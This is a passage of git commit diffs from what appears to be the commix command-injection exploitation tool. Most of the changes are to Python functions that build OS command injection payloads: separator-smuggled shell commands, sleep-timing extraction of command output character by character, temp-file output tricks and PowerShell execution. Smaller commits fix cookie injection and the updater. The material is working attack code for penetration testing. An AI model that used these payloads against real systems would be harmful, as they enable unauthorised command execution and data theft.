python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) elif separator == "&&" : @@ -379,7 +390,6 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - ) else: if separator == ";" or separator == "%0a": @@ -388,7 +398,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -398,7 +409,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -407,7 +419,8 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: @@ -455,7 +468,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "if [ " + str(ascii_char) + " -ne $str ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -465,7 +479,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "sleep 0 " + separator + "str=\"$(" + cmd + ")\" " + separator + "[ " + str(ascii_char) + " -eq $str ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) @@ -475,7 +490,8 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -512,7 +528,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -522,7 +539,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -531,7 +549,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index bb7160d095..d6b5af7010 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -51,12 +51,14 @@ def decision(separator, TAG, randv1, randv2): if settings.USE_BACKTICKS: payload = (separator + "echo " + TAG + - TAG + "" + TAG + "" + TAG + "" + TAG + "" + + separator ) else: payload = (separator + "echo " + TAG + - "$(echo " + TAG + ")" + TAG + "" + "$(echo " + TAG + ")" + TAG + "" + + separator ) else: if settings.USE_BACKTICKS: @@ -69,7 +71,8 @@ def decision(separator, TAG, randv1, randv2): payload = (separator + "echo " + TAG + math_calc + - "$(echo " + TAG + ")" + TAG + "" + "$(echo " + TAG + ")" + TAG + "" + + separator ) return payload @@ -93,14 +96,16 @@ def decision_alter_shell(separator, TAG, randv1, randv2): payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + TAG + - TAG + "')\"" + TAG + "')\"" + + separator ) else: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + - TAG + "')\"" + TAG + "')\"" + + separator ) return payload @@ -110,7 +115,8 @@ def decision_alter_shell(separator, TAG, randv1, randv2): def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: - payload = (separator + cmd + settings.SINGLE_WHITESPACE + payload = (separator + + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + @@ -119,14 +125,15 @@ def cmd_execution(separator, TAG, cmd): "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if settings.USE_BACKTICKS: cmd_exec = "`" + cmd + "`" payload = (separator + "echo " + TAG + "" + TAG + "" + cmd_exec + - "" + TAG + "" + TAG + "" + "" + TAG + "" + TAG + "" + + separator ) else: cmd_exec = "$(" + cmd + ")" @@ -134,7 +141,8 @@ def cmd_execution(separator, TAG, cmd): "echo " + TAG + "$(echo " + TAG + ")" + cmd_exec + - "$(echo " + TAG + ")" + TAG + "" + "$(echo " + TAG + ")" + TAG + "" + + separator ) return payload @@ -145,12 +153,15 @@ def cmd_execution(separator, TAG, cmd): def cmd_execution_alter_shell(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: - payload = (separator + cmd + settings.SINGLE_WHITESPACE + payload = (separator + + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + "for /f \"tokens=*\" %i in ('" + - settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + + settings.WIN_PYTHON_INTERPRETER + + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + "') do @set /p=%i " + settings.CMD_NUL ) @@ -158,11 +169,17 @@ def cmd_execution_alter_shell(separator, TAG, cmd): if settings.USE_BACKTICKS: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + TAG + "'%2B'" + TAG + "')\"" + settings.LINUX_PYTHON_INTERPRETER + + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + + TAG + "'%2B'" + TAG + "')\"" + + separator ) else: payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + TAG + "'%2B'" + TAG + "')\"" + settings.LINUX_PYTHON_INTERPRETER + + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + + TAG + "'%2B'" + TAG + "')\"" + + separator ) return payload diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index bfe8d77dbd..5814e16373 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -59,7 +59,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -72,7 +73,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "str1=$(expr length \"$str\")" + separator + #"str1=${%23str} " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -84,7 +86,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -125,7 +128,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "if [ " + str(j) + " -ne ${str1} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -137,7 +141,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + + separator ) separator = _urllib.parse.unquote(separator) @@ -148,7 +153,8 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + # Find the length of the output, using readline(). "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + + separator ) else: pass @@ -220,7 +226,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # Transform to ASCII "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -238,7 +245,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "sleep " + str(timesec) + separator + # Transform to ASCII "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + + separator ) separator = _urllib.parse.unquote(separator) @@ -251,7 +259,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ]" + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -275,6 +284,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) + elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -296,7 +306,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "if [ " + str(j) + " -ne ${str1} ] " + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -308,7 +319,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + + separator ) separator = _urllib.parse.unquote(separator) @@ -318,7 +330,8 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ payload = (pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass @@ -366,7 +379,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -377,7 +391,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http # Use space as delimiter "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -391,7 +406,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -412,6 +428,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) + elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") @@ -428,7 +445,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -438,7 +456,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -447,7 +466,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass @@ -493,7 +513,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -503,7 +524,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "sleep 0" + separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) separator = _urllib.parse.unquote(separator) @@ -512,7 +534,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + ") ] " + separator + - "sleep " + str(timesec) + "sleep " + str(timesec) + + separator ) else: pass @@ -550,7 +573,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi " + "fi" + + separator ) elif separator == "&&" : @@ -560,7 +584,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) separator = _urllib.parse.unquote(separator) @@ -569,7 +594,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, pipe = "|" payload = (pipe + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + + separator ) else: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index c70bdb6e2d..461c9680f1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "85" +REVISION = "86" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From beca7ca7baa21505fcac49eff1373147ddc7bcea Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 14 Jul 2024 09:13:35 +0300 Subject: [PATCH 0483/1023] Fixes https://github.com/commixproject/commix/issues/942 --- src/core/injections/controller/controller.py | 23 ++++++++++---------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 325abdf4b1..8c58b4af56 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -535,19 +535,20 @@ def define_check_parameter(found, i, url): """ def cookie_injection(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = True # Cookie Injection cookie_value = menu.options.cookie - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - settings.HTTP_HEADER = header_name[1:].lower() - cookie_parameters = parameters.do_cookie_check(menu.options.cookie) - if type(cookie_parameters) is str: - cookie_parameters_list = [] - cookie_parameters_list.append(cookie_parameters) - cookie_parameters = cookie_parameters_list - # Remove whitespaces - cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] - do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) + if cookie_value: + settings.COOKIE_INJECTION = True + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + settings.HTTP_HEADER = header_name[1:].lower() + cookie_parameters = parameters.do_cookie_check(menu.options.cookie) + if type(cookie_parameters) is str: + cookie_parameters_list = [] + cookie_parameters_list.append(cookie_parameters) + cookie_parameters = cookie_parameters_list + # Remove whitespaces + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) if settings.COOKIE_INJECTION: # Restore cookie value From fec25341f8c9cabfd7d2e1fc3a755703e943cd9b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 14 Jul 2024 09:16:32 +0300 Subject: [PATCH 0484/1023] Update revision num regarding commit: https://github.com/commixproject/commix/commit/beca7ca7baa21505fcac49eff1373147ddc7bcea --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 461c9680f1..1596aad6c4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "86" +REVISION = "87" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b13fc9e8045a15c40777975762741e2498608b47 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 22 Jul 2024 07:40:06 +0300 Subject: [PATCH 0485/1023] Trivial update regarding commix's updater. --- src/utils/settings.py | 2 +- src/utils/update.py | 31 +++---------------------------- 2 files changed, 4 insertions(+), 29 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 1596aad6c4..60572e3e1d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "87" +REVISION = "88" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 31c68fced2..a55f52a0ce 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -51,7 +51,6 @@ def revision_num(): match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") rev_num = match.group(0) if match else None info_msg += " the latest revision '" + str(rev_num[:7]) + "'." - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: settings.print_data_to_stdout(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) end = time.time() @@ -59,26 +58,22 @@ def revision_num(): info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() """ The commix's updater. """ def updater(): - time.sleep(1) info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.offline: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You cannot update commix via GitHub without access on the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -91,34 +86,24 @@ def updater(): if requirments.do_check(requirment) == True : if settings.VERBOSITY_LEVEL != 0: debug_msg = "commix will try to update itself using '" + requirment + "' command." - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! - else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if os.path.isdir("./.git"): - info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " - info_msg += "version. " + info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) version. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - revision_num() - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) os._exit(0) else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The '.git' directory not found. Do it manually: " - err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL - err_msg += " " + settings.APPLICATION + "' " + err_msg += "'git clone " + settings.GIT_URL + " " + settings.APPLICATION + "' " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = requirment + " not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except Exception as err_msg: - settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -159,16 +144,13 @@ def unicorn_updater(current_version): info_msg = "Checking requirements to update " info_msg += APPLICATION_NAME + " from GitHub repository. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if menu.options.offline: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You cannot update TrustedSec's Magic Unicorn " err_msg += "via 